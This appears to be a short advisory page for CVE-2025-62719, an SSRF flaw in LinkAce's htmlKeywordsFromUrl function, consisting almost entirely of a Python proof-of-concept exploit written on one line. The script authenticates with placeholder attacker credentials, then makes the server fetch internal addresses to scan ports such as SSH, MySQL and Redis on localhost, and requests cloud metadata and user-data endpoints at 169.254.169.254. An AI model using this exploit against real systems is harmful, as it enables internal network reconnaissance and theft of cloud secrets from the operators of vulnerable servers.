CVE-2025-62719 LinkAce htmlKeywordsFromUrl函数SSRF漏洞

import requests # CVE-2025-62719 PoC - LinkAce SSRF in htmlKeywordsFromUrl # Target: LinkAce <= 2.3.0 BASE_URL = "http://target-linkace.com" def ssrf_exploit(target_ip="127.0.0.1", target_port=80): """ Exploit SSRF vulnerability to perform internal network scanning. The attacker must be authenticated first. """ login_url = f"{BASE_URL}/login" exploit_url = f"{BASE_URL}/link/fetch" # Step 1: Authenticate with valid credentials session = requests.Session() login_data = { "email": "[email protected]", "password": "attacker_password" } session.post(login_url, data=login_data) # Step 2: Send SSRF payload targeting internal network # This triggers htmlKeywordsFromUrl to fetch internal resource ssrf_payload = { "url": f"http://{target_ip}:{target_port}" } response = session.post(exploit_url, data=ssrf_payload) # Step 3: Analyze response to determine if service is alive if response.status_code == 200: print(f"[+] Service detected at {target_ip}:{target_port}") else: print(f"[-] No service at {target_ip}:{target_port}") def cloud_metadata_exploit(): """ Attempt to access cloud metadata endpoint (limited by meta keywords extraction). """ session = requests.Session() # Login first... metadata_urls = [ "http://169.254.169.254/latest/meta-data/", "http://169.254.169.254/latest/user-data/" ] for url in metadata_urls: payload = {"url": url} response = session.post(f"{BASE_URL}/link/fetch", data=payload) print(f"[*] Response from {url}: {response.text[:200]}") if __name__ == "__main__": # Example: Scan localhost ports for port in [22, 80, 443, 3306, 6379]: ssrf_exploit("127.0.0.1", port)